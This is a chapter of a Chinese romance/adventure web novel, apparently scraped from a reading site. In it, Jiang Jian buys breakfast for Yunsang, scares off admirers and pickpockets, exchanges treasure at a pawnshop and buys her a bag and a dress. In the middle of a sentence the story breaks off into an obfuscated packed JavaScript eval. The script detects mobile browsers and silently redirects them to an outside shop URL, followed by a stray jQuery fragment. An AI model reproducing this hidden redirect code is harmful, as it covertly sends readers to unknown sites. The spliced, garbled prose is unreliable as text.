云桑一边惊讶于对方旺盛的精力,一边也好奇着他买回来了什么。
“瞧你现在才回来,这些铺子定然很远吧?”
油纸包打开,第一个映入眼帘的早食是皮薄馅大的肉包子,光是闻着便知其应当十分美味。
江见摇了摇头,惆怅道:“其实也不远,就四条街,只是大白天的在那么多人面前飞来飞去太过引人注目,我只能走过去了,便耽误了这么些功夫,不过这些吃食都被我捂着没凉,我们一块吃。”
说着,江见也跟着一起拆,很快,一桌子都被琳琅满目的吃食摆满了,如江见说得那样,这些吃食被他照看得很好,都还散发着热气。
不过他买的吃食着实多了些,除却云桑一开始打开的肉包子,还有汤包,胡饼,巨胜奴,鸡丝面,馄饨……
甚至还拎回来两盅桂花豆酪,揭开盖子还散发出温热的桂香。
云桑实在是太佩服江见了。
刚想说他买这么多回来吃得完吗,忽地想起江见那如牛一般四个胃的肚子,云桑觉得不必再问。
“这样麻烦的事,日后还是别做了,客栈里的饭菜也挺不错的。”
虽然不是她开口去命令,但江见总归是为着她才去买这些琳琅麻琳琅满目的早食,她还是会过意不去的。
话才说完,江见就朝云桑嘴里塞了一个汤包,云桑再没心思想别的说别的了,忙着跟这个突如其来的汤包做斗争。
江见也给自己嘴里塞了一个,囫囵吃下后应答道:“不麻烦啊,我本来就很闲,而且做这些我很开心,娘子别管,吃就是。”
江见这副油盐不进的固执模样,云桑也不费劲了。
算了,他乐意便随他了,他开心就好。
如江见说得那样,这些早食的味道很是让云桑惊艳,也正因如此她贪多了些,一大早便吃得肚子圆滚滚的。
“江见,我有些撑,我们去消消食吧。”
且来了城中,怎能不出去走走逛逛,一直缩在客栈里算怎么回事?
“好啊,正巧我也要出去把我的报酬拿到钱庄兑换成银钱,走~”
少年眉眼快活,说话间便拿起了那个沉甸甸的包袱,将随身的佩剑和骨笛一些七七八八的东西挂在腰间蹀躞带上,熟稔地牵起云桑出门去了。
云桑也日渐接受了他这样的亲昵,不似一开始那般动不动便脸红心跳了。
下楼的时候,云桑想起昨夜的闹剧,依稀记得那个被江见收拾的纨绔公子是个官宦子弟,蔡郡郡丞家的,一时间被挑起了忧愁,晃了晃江见牵着她的那只手,凑过去小声道:“你昨夜教训的那个纨绔公子是个官宦子弟,他会不会过来寻我们的麻烦?”
虽然她知道江见能以一挡百,但若是真与这蔡郡郡丞家起了龃龉也是一桩缠人的麻烦,云桑都怕两人被留在这蔡郡。
不同于云桑的担忧,江见听了这话并没有泛起愁绪,只是轻哼了一声,漫不经心道:“他寻不来,甚至想不起自己是被谁揍的,更不会记得自己来过这云来客栈,娘子尽管将心放回肚子里。”
虽然不知道江见用了什么稀奇古怪的手段,但在云桑眼中他本就是个有诸多诡异招数的人,听他这样保证,云桑心中大安。
江见总有一种使人信服的奇异能力。
这个时辰,大街上正是热闹的时候,两人走在熙熙攘攘人群中,不时引来路人的侧目打量。
过于美丽的东西出现在大庭广众之下,总是会引来各种各样的视线,在云桑察觉到有个年轻公子瞧她瞧得忘了走路时,她余光瞥见江见大剌剌地瞪了对方一眼,十分的凶狠,吓得那年轻公子立即缩了缩脖子不敢再看。
云桑失语而笑,又见一妙龄少女眼眸闪闪地打量着身畔的江见,她不是江见那等霸道人,只当没看见,正要偏过头去笑,忽被人用手将脸别了回来。
这人正是江见,此刻他脸色臭臭的,故作严肃地看着她。
“怎么了?”
不知是哪里让这个煞神不快活了,云桑眨巴了下眼睛,努力想获取他的情绪。
“刚刚有旁的姑娘瞧我,娘子怎么不管?”
这话质问的稀奇,云桑由于惊诧瞪圆了眼眸,当即就道:“我怎么管?”
眼睛长在他人身上,云桑又决定不了。
江见见她这副无动于衷的呆样,更来气了,恨铁不成钢道:“自然是像我一样管。”
“像你一样瞪那姑娘?”
云桑更加匪夷所思了,她哪里是那样的性子,也做不出这样幼稚的行径。
江见见她懂得了自己的意思,高兴地轻嗯一声,但很快就迎来了云桑的拒绝。
“不过是瞧了你一眼罢了,有什么好计较的,我、我学不来你那般的。”
最后一句是最关键的,如江见那般恶狠狠地眼神,她是怎么也学不会的。
少女温良的像一只没脾气的羔羊,看得江见无力极了。
“罢了,既然你是个没用的,那便我替你将事情办了吧。”
不开心地抿了抿唇,只见江见长叹了一口气,说了这么含含糊糊的一句。
正在云桑疑惑他要怎么将事情替她给办了时,就见江见如法炮制,将他那慑人又凶悍的眸光直直刺向对着他不住打量的姑娘身上。
效果立竿见影,那姑娘哪里见过这样不善又骇人的目光,脸色一变急急忙忙回避了,哪里敢再看,只心有余悸地拍着胸口,神情幽怨地盯着那美少年远去的背影。
竟有如此不解风情的木头,当真是白费了她一腔喜爱,呸!
目睹了全过程的云桑此刻已然目瞪口呆了,她一言难尽地看着江见,一时间只觉得这人过于乖张奇特了些。
连这事也能代替的吗?
云桑收回一开始夸赞他脾气好的话,这人简直怪极了。
“人家姑娘这是青睐你的意思,何必这样无情。”
难不成江见以前遇到姑娘家的示好都是这般模样?
怨不得等到了她这个落难的,云桑胡思乱想着。
这时,江见看向她,用着一种诧异至极的神情道:“我要旁的姑娘青睐作甚,娘子青睐我不就行了。”
话说得端正严肃,甚至挑不出一丝错,云桑喉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200466|150007||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
间梗住了。
人一多,事也多,人来人往的大街上,总少不了浑水摸鱼的扒手,意图在纷乱的人群中趁机摸走别人辛辛苦苦赚到的银钱。
大约是江见腰间挂得零零碎碎的东西太过惹眼,一路上招惹了不少扒手过来。
不过他们找错了人,踢到了江见这个铁板。
隐约间,云桑好几次看见有人不知从哪油滑地伸出手就要碰到江见的钱袋子,但都一片血红地缩了回去,伴随着极力压抑的痛呼声。
想来江见以前常遇到这种事,才能如此娴熟。
两人一路畅行到了永福当铺,据说是蔡郡最大的当铺,托着江见送来不少珍宝的福,云桑在一旁坐下歇息,用着当铺伙计送过来的茶点,等江见再回来时,沉甸甸的包袱已经被一个半大的锦所替代。
那么一包袱金银珠宝,就换了这么一个小小的锦袋?
江见不会是被当铺给坑了吧?
云桑迎上去,心中纠结江见是否真的单纯好欺。
“娘子久等了,给。”
云桑憋着的话还没说出口,江见迎面就将那只锦袋抛给了她。
猝不及防飞来个东西,云桑手忙脚乱地将其接住,有些傻愣愣道:“给我作甚?”
大约是云桑从未将自己切身实地地置身于江见娘子的身份上,因而她接钱接得云里雾里。
江见也不卖关子,直截了当道:“自是给娘子管钱,难道夫妻间不是这般吗?”
说着话,江见攥着她的手往外走,笑盈盈地看不出一点被坑的模样。
云桑托着这只虽然鼓鼓囊囊但不算沉重的锦袋,好奇地打开,直到看见里面一沓银票,还有一堆七零八落躺在底部,大大小小的金珠子,她再也不疑惑了。
手里就好像托着什么烫手山芋,云桑没地方放,又生怕自己不小心将其弄丢了,毕竟自己可挡不住那些刁钻的扒手。
于是乎,她将锦袋又推了回去道:“还是你收着吧,我身上没地方放,若是丢了便不好了。”
先前在桃花山上寻回来的几支珠钗迄今为止都是被小心看顾在衣袖中的,哪里还有地方收留这鼓鼓囊囊的锦袋。
这话提醒了江见,他扫了一眼云桑干净利落的衣裙,拍了下脑袋懊恼道:“也是,我怎么将这事给忘了。”
“有了!”
懊恼完,江见很快来了点子,雀跃地拉着云桑走了。
结果就是,江见将她领到了一个绸缎铺子里,让里头的绣娘现场给她缝制出一个斜挎着的布袋。
布料还是江见随手一指的浮光锦。
鹅黄色带着细闪粼光的一匹贵重料子,只为了缝制一个布袋子。
“这料子闪闪的,好看,就要这匹。”
江见明显是不认识这匹料子的,只单纯看美观与否,便毫不犹豫拍板定下了,云桑都来不及说什么。
待她的斜挎布袋子被绣娘飞速做出来,江见犹不满足,又现场买了一套云绫锦制成的齐胸裙,粉嫩如新荷,用金银线绣着缠枝莲,裙摆还缀着粉白的珍珠,日头一照,金银绣成的莲花便璀璨生辉。